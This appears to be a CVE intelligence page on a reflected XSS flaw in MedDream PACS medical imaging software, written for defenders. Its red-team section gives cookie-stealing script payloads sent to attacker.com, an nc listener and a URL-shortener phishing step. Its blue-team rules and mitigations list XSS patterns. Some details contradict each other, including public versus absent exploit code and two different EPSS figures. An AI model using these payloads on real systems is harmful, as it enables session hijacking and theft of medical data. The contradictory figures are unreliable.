☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Meddream logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-54495

CVE-2025-54495 Cross-Site Scripting in Meddream
📅 PUBLISHED: 2026-01-20 14:50 UTC 🔄 UPDATED: 2026-08-12 09:02 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.06%
👁️
0.06% probability
1.6× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Lithuania License: Commercial
VULNERABLE: 7.3.6.870
CVSS VECTOR BREAKDOWN 6.1
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-54495 is a reflected cross-site scripting (XSS) vulnerability in MedDream PACS Premium version 7.3.6.870. The flaw resides in the emailfailedjob functionality, allowing an attacker to craft a malicious URL that, when visited by an authenticated or unauthenticated user, executes arbitrary JavaScript in the context of the victim's browser session. This can lead to session hijacking, credential theft, or further exploitation of the PACS system. The vulnerability has a CVSS score of 6.1 (Medium) and currently has no known patch or public exploit code. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains significant for healthcare environments using this software.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a standalone application vulnerability in MedDream PACS Premium, a medical imaging software. No supply chain implications are identified.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.1 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
  • Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
  • Attack Complexity: Low (AC:L) – No special conditions required.
  • Privileges Required: None (PR:N) – No authentication needed to trigger the XSS.
  • User Interaction: Required (UI:R) – The victim must click the crafted URL.
  • Scope: Changed (S:C) – The XSS can impact resources beyond the vulnerable component.
  • Confidentiality Impact: Low (C:L) – Limited data exposure possible.
  • Integrity Impact: Low (I:L) – Limited modification of data possible.
  • Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. While the CVSS score is moderate, the potential for session hijacking and lateral movement in a healthcare PACS environment elevates the risk. The lack of a patch and public exploit code increases the urgency for detection and mitigation.

Deep Dive & Mechanics

The vulnerability is a reflected XSS in the emailfailedjob functionality of MedDream PACS Premium. The application fails to properly sanitize user-supplied input in the URL parameters when constructing error messages or email notifications for failed jobs. An attacker can inject malicious JavaScript into a URL parameter (e.g., ?failedJobId=<script>alert(1)</script>), which is then reflected back to the user without proper encoding or escaping.

Root Cause: The application likely uses a function like echo $_GET['failedJobId'] or similar without applying htmlspecialchars() or context-aware output encoding. This allows arbitrary HTML/JavaScript to be injected.

Attack Flow:

  1. Attacker crafts a malicious URL: https://target-pacs.com/emailfailedjob?failedJobId=<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>
  2. Attacker sends the URL to a victim via phishing email, chat, or other means.
  3. Victim clicks the URL while authenticated to the MedDream PACS system.
  4. The server reflects the injected script in the response.
  5. The victim's browser executes the script, sending the session cookie to the attacker.
  6. Attacker uses the stolen cookie to impersonate the victim and access sensitive medical data.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual PHP):

<?php
$failedJobId = $_GET['failedJobId'];
echo "Error processing job: " . $failedJobId;
?>

Patched Code (Conceptual PHP):

<?php
$failedJobId = htmlspecialchars($_GET['failedJobId'], ENT_QUOTES, 'UTF-8');
echo "Error processing job: " . $failedJobId;
?>

The patched version uses htmlspecialchars() to encode special characters, preventing script injection. Since no official patch is available, this is a recommended fix.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Environment:

  • MedDream PACS Premium 7.3.6.870 (vulnerable version)
  • Attacker machine with Burp Suite or a simple HTTP server
  • Victim browser (e.g., Firefox with developer tools)

Exploitation Steps:

  1. Identify the vulnerable parameter: failedJobId in the emailfailedjob endpoint.
  2. Craft a payload to steal cookies:
    https://target-pacs.com/emailfailedjob?failedJobId=<script>new Image().src='http://attacker.com/steal?c='+document.cookie</script>
    
  3. Use a URL shortener to obfuscate the link.
  4. Send the link to the victim.
  5. On the attacker machine, listen for incoming requests:
    nc -lvnp 80
    
  6. When the victim clicks the link, the cookie is exfiltrated.

Alternative Payload (Session Hijacking):

<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>

Blue Team (Defensive)

Detection:

  • Monitor web server logs for requests to /emailfailedjob with suspicious parameters (e.g., <script>, onerror=, javascript:).
  • Use WAF rules to block reflected XSS patterns.
  • Deploy browser-based XSS filters (e.g., X-XSS-Protection header).

Hunting:

  • Search for failedJobId in HTTP logs and inspect for encoded or obfuscated JavaScript.
  • Look for outbound connections to unknown IPs from PACS clients.

Lab Setup for Testing:

  • Install MedDream PACS Premium 7.3.6.870 in an isolated VM.
  • Use a web application scanner (e.g., OWASP ZAP) to test for XSS.
  • Validate the vulnerability by injecting a harmless payload: <script>alert('XSS')</script>.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • HTTP requests to /emailfailedjob with failedJobId parameter containing <script>, onerror, javascript:, or base64-encoded payloads.
    • Outbound connections from PACS clients to unknown IPs on port 80/443.
  • File IOCs:
    • Suspicious entries in web server access logs (e.g., GET /emailfailedjob?failedJobId=%3Cscript%3E).
  • Behavioral IOCs:
    • Unexpected redirects or pop-ups in the PACS web interface.
    • Session cookies being sent to external domains.

Detection Engineering

YARA Rule

rule CVE_2025_54495_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts targeting MedDream PACS emailfailedjob endpoint"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-54495"
    strings:
        $xss_payload = /failedJobId=.*(<script|onerror|onload|javascript:|alert\(|document\.cookie)/
        $url_pattern = /\/emailfailedjob\?failedJobId=/
    condition:
        $url_pattern and $xss_payload
}

Sigma Rule

title: Reflected XSS Attempt on MedDream PACS emailfailedjob
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects reflected XSS attempts targeting the emailfailedjob endpoint in MedDream PACS Premium
author: Valters IT
date: 2025-04-10
tags:
    - attack.initial_access
    - attack.t1190
    - cve.2025.54495
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/emailfailedjob?failedJobId='
        cs-uri-query|re: '(?i)(<script|onerror|onload|javascript:|alert\(|document\.cookie)'
    condition: selection
falsepositives:
    - Legitimate use of job IDs containing similar patterns (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-54495 MedDream PACS Reflected XSS Attempt"; flow:to_server; content:"/emailfailedjob"; http_uri; content:"failedJobId="; http_uri; pcre:"/(<script|onerror|onload|javascript:|alert\(|document\.cookie)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Input Validation: Implement strict input validation for the failedJobId parameter. Allow only alphanumeric characters and hyphens.
  2. Output Encoding: Apply context-aware output encoding (e.g., HTML entity encoding) to all user-supplied data reflected in responses.
  3. WAF Rules: Deploy a Web Application Firewall (WAF) with rules to block XSS payloads in the failedJobId parameter.
  4. Content Security Policy (CSP): Add a CSP header to restrict script execution: Content-Security-Policy: default-src 'self'; script-src 'self'.
  5. Session Security: Use HttpOnly and Secure flags on session cookies to prevent JavaScript access.

Long-Term Fix:

  • Contact MedDream for an official patch. If unavailable, apply the conceptual patch above or consider migrating to a supported version.
  • Conduct a full security audit of the application for similar XSS vulnerabilities.

Workaround:

  • Disable the emailfailedjob functionality if not essential, or restrict access to it via IP whitelisting.

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

MedDream PACS
MedDream PACS Premium

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-54495/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.